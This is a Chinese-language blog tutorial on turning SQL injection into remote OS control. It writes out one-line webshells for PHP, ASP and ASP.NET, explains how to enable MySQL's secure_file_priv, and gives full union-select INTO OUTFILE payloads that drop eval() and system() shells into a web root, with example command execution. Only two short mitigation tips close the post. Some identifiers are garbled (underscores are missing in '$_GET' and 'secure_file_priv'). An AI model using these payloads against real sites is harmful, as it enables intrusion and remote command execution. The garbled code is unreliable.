SQL注入漏洞实现OS远程控制及防范

发布时间:2020-04-02 14:01:14 作者:Potato 阅读量:1751

一、提前了解

    1.一句话木马:

一句话木马是一种短小精悍的木马客户端,隐蔽性好,且功能强大。
PHP:<?php @eval($GET['test'])?>
ASP:<%eval request(“test”)%>
ASP.NET:<%@ Page Language=“Jscript”%><%eval(Request.Item[“test”],”unsafe”);%>

    1
    2
    3
    4

        释1:eval(string),支持PHP4\5\7,将后面的string作为PHP代码运行。

    2.MySQL知识点:

select  1,2into  outfile“/var/www/html/1.txt”      //Linux操作系统
select  1,2into  outfile“c:/phpstudy/www/1.php”    //Windows操作系统

    1
    2

        释1:into outfile将select的结果写入到指定的目录的1.txt文件中。
        释2:在一些没有返回结果提示的注入中可以使用into outfile将结果写入到指定文件中,然后再访问获取。
        必:union联合查询,前后字段要相同。

    3.注入条件:

1、需要知道远程目录的路径;
2、远程目录要有写权限;
3、数据库开启了secure
filepriv功能。(默认是关闭)

    1
    2
    3


        如何打开MySQL的secure
filepriv功能:

3.1查看当前服务开启状态:

    1

在这里插入图片描述

3.2修改MySQL的配置文件my.ini,修改或新增 ' secure
filepriv= '
    (不填写后面导出路径指可导出任意路径):

    1
    2

在这里插入图片描述

3.3重启mysql服务,再次查看服务开启状态:

    1

在这里插入图片描述

                        开启成功!        

    1


二、构建一句话木马的sql语句:(本次基于Windows操作系统)

    1.基于PHP代码的一句话木马:

1.1构建语句: select “<?php @eval($
GET['test'])?>”,2 into outfile “c:/phpstudy/www/1.php”#


1.2payLoading:’ union select “<?php @eval($GET['test'])?>”,2 into outfile “c:/phpstudy/www/1.php”#

    2.基于PHP的CMD命令行代码的一句话木马:

1.1构建语句: select “<?php system($
GET['cmd'])?>”,2 into outfile"c:/phpstudy/www/2.php"#


1.2payLoading:’ union select “<?php system($GET['cmd'])?>”,2 into outfile"c:/phpstudy/www/2.php"#

三、将构建好的sql语句注入:在这里插入图片描述

在这里插入图片描述
四、进行OS远程控制:
    1.例如基于PHP代码的一句木马:

在这里插入图片描述

注释:test=PHP代码; : 此处的PHP代码为phpinfo()函数,查询后台安装的php版本信息,可换为所需要的PHP代码。

    2.基于PHP的cmd命令行代码的一句话木马(针对于二-2所构建的一句话木马):

在这里插入图片描述
注释:cmd=命令行代码 : 此处的命令行代码为ipconfig,查询后台ip信息,可换为所需要的命令行代码。

五、防范sql注入OS远控

1.网站根目录上传成功后,W写权限一定要关掉;


2.MySql的secure
file_priv服务,不需要时及时关闭;

支付宝打赏 微信打赏

我要评论

Catfish(鲶鱼) Blog V 4.7.3